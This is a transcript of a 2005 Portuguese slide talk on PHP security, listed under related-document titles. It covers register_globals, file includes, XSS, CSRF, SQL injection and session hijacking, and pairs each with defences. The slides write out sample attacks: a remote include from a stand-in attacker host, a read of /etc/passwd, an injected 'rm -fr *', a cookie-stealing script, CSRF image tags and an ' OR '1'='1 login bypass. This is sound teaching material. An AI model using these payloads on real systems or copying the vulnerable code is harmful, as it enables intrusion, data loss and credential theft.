Segurança em PHP. Exemplos e Casos Práticos



Documentos relacionados
Segurança em aplicações Web. Exemplos e Casos Práticos em

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

VULNERABILIDADES WEB v.2.2

XSS - CROSS-SITE SCRIPTING

Segurança em Sistemas Web. Addson A. Costa

Segurança Web com PHP 5

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

Aplicação web protegida

segurança em aplicações web

Vulnerabilidades em Sistemas de Informação:

Fonte: - Illustration by Gaich Muramatsu

Attacking Session Management

Segurança em PHP. Edgar

OWASP. The OWASP Foundation As 10 mais críticas vulnerabilidades de segurança em Aplicações Web

2.3. PHP Tipos de dados e operadores

Segurança da Informação:

PHP e MySQL. Programação de Servidores Marx Gomes Van der Linden.

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho Thiago Canozzo Lahr

Ataques a Aplicações Web

2.9. PHP Cookies e variáveis de sessão

Programação Web Prof. Wladimir

Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

Desenvolvimento e disponibilização de Conteúdos para a Internet

Instalando servidor Apache

Segurança na WEB Ambiente WEB estático

Sumário. Capítulo 1 O que é o PHP? Capítulo 2 Instalação do PHP Capítulo 3 Noções básicas de programação... 25

PHP e MySQL Autenticação de Usuários

Estável. Rápida. Simples. Poderosa. Bem documentada. Multi- plataforma. Extensivel.

Aplicações Seguras.

Análise de Vulnerabilidades em Aplicações WEB

PHP. Hypertext Pre-Processor

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Escrito por Sáb, 15 de Outubro de :19 - Última atualização Seg, 26 de Março de :32

Prefácio Breve História do PHP PHP/FI PHP PHP PHP Licença...

SIQ GQF Plugin s WEB (Aplicações WEB) Gestão da Qualidade de Fornecedores

Boas Práticas de Desenvolvimento Seguro

Introdução 20 Diagramas de fluxos de dados 20 O processo de elaboração de DFD 22 Regras práticas para a elaboração de DFD 24 Dicionário de dados 26

Linguagem de Programação III Aula 2 Revisão Parte II

Ajuda em php + xml + sql Posted by kabonga /07/15 23:56

Josh Pauli Revisão técnica Scott White. Novatec

Transações Seguras em Bancos de Dados (MySQL)

Construindo Aplicações Web com. PHPe MySQL. André Milani. Novatec

Biblioteca de segurança para tratar as principais vulnerabilidades web

Daniel Moreno. Novatec

COMPETÊNCIAS ESPECÍFICAS Compreender e utilizar a linguagem SQL, na construção e manutenção de uma base de dados.

MODSECURITY. Firewall de Aplicação WEB Open Source. Pedro Henrique C. Sampaio UFBA - CRI

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

Treinamento em PHP. Aula 7. Ari Stopassola Junior

Sumário. Parte I Introdução Introdução O Rails é ágil Explorando o conteúdo Agradecimentos... 19

PHP SECURITY INTEGRANTES:

PHP. SQL / MySQL Ligação a base de dados Selecção e visualização de registos Adicionar, Eliminar, Pesquisar e Editar registos

Armazenamento organizado facilitando SCRUD; Agiliza processo de desenvolvimento de sistemas;

IDENTIFICANDO VULNERABILIDADES EM LARGA ESCALA ATRAVÉS DE FALHAS DE DESENVOLVIMENTO

Se preocupe com o que é importante, que a gente se preocupa com a segurança.

Aula 8: Servlets (III)

Segurança nos sites governamentais de Cabo Verde Security in the Cape Verdean government websites

Módulo 6: Linguagem de Programação IV 6.1. Introdução 6.2. Bases de Dados Visão Estrutural SGBD: Sistema de Gestão de Bases de Dados

Aplicações Seguras. Exemplos de vulnerabilidades comuns. Carlos Ribeiro Algoritmos e Aplicações de Segurança

Configurando um servidor WWW seguro. Centro de Atendimento a Incidentes de Segurança - CAIS

RELATÓRIOS PENTEST S

Desenvolvendo Websites com PHP

PHP (PHP Hypertext Preprocessor)

10 maiores riscos em aplicações Web

#WordPressSeguro. Guia prático para implementações de segurança em WordPress

UFSM COLÉGIO AGRÍCOLA DE FREDERICO WESTPHALEN CURSO SUPERIOR DE TECNOLOGIA EM SISTEMAS PARA INTERNET. Programação para Internet I

Programação para Internet I. 1. Servidores web. Nuno Miguel Gil Fonseca

SERVIDOR WEB - APACHE SERVIDOR WEB - APACHE SERVIDOR WEB - APACHE 27/02/2012

Breve introdução a User Dir e Senhas no Apache Uma abordagem prática (aka crash course on User Dir and Directory Authentication on Apache)

Aula 6: Vulnerabilidades Web

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro,

Descrição de Arquitectura e Design. SyncMasters

Programação WEB II. PHP e Banco de Dados. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

O que é uma sessão. maneira de preservar dados através de acessos subsequentes.

Transcrição:

Segurança em PHP Exemplos e Casos Práticos Nuno Lopes, NEIIST 3º Ciclo de Apresentações. 17/Março/2005

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Register Globals Configuração do PHP insegura Não usar / desactivar!! script.php?autenticado=1 <? if ($user == 'user' && $pass == 'pass') { $autenticado = true; } if ($autenticado) { mostra_info_confidencial(); } <? $autenticado = false; if ($_POST[ user ] == 'user' (...)?> register_globals=off?>

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Paths Includes perigosos levam a execução remota de código Visualização de ficheiros confidenciais script.php?file=http://attack.com/script <? include "$file.inc"; //include "http://attack.com/script.inc";?> allow_url_fopen=off script.php?file=../../../../etc/passw d <? readfile($file);?> basename() / dirname() realpath() pathinfo()

Paths Execução de comandos no servidor script.php?opts=-la rm fr * <? system("ls $opts"); //system("ls -la rm fr *");?> escapeshellarg() escapeshellcmd() safe_mode=on

Paths Roubo de códigos # /path/to/secret-stuff (root only) SetEnv DB_USER "myuser" SetEnv DB_PASS "mypass" # httpd.conf Include "/path/to/secret-stuff" <Files ~ "\.inc$"> Order allow, deny Deny from all </Files>

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Cross-Site Scripting (XSS) Inserção de HTML/JavaScript numa página (através de variáveis não filtradas) Permite roubo de sessões, passwords, etc.. <script> document.location = 'http://example.org/steal_cookies.php?cookie=' + document.cookie </script> strip_tags() htmlentities() / htmlspecialchars()

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Cross-Site Request Forgeries (CSRF) "sea surf" Método pouco usado em exploits (por enquanto ) Mas muito poderoso e difícil de defender Bastante transversal [img] http://your.forums/newreply.php?action=newthread&subject=aaa&bod y=some+naughty+words&submit=go[/img] <img src="http://192.168.0.1/admin/buy_stocks.php?number=all">

Cross-Site Request Forgeries (CSRF) "sea surf" Não há receitas, depende do programa Usar POST em vez de GET Forçar o uso de forms próprios via TOKEN aleatório

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

SQL Injection Fácil de evitar: Filtrar dados por tipo Usar aspas Não mostrar erros (i.e. mysql_error())

SQL Injection script.php?user=admin' OR '1'='1&pass= <? $sql = "SELECT * FROM tabela WHERE user='$user' AND pass='$pass'"; $q = mysql_query($sql) or die(mysql_error()); if (mysql_num_rows($q) == 1) { $auth = true; }?> SELECT * FROM tabela WHERE user='admin' OR '1'='1' AND pass=' '

SQL Injection Usar cast explícito para inteiros mysql_real_escape_estring() Usar hashes nos códigos (md5()/sha1()) Cuidado com wildcards (...LIKE %aeiou% ) Atenção às queries múltiplas <? $an_int = (int) $_GET['an_int']; if ($an_int < 0 $an_int > 50) display_user_error();?>

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Session Hijacking Roubo de sessões Usar SSL e fazer lock ao IP (e ao certificado do cliente) Usar apenas cookies (evita URLs do tipo script.php?phpsessid=jfh92lpgmc7s6fj e ataques pelo HTTP REFERER)

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões

Links www.php.net/security www.phpsec.org www.owasp.org www.securityfocus.com www.phpsecure.info www.net-force.nl http://mega.ist.utl.pt/~ncpl/pres/

Agenda: Register Globals Paths Cross-Site Scripting (XSS) Cross-Site Request Forgeries (CSRF) SQL Injection Session Hijacking Links Questões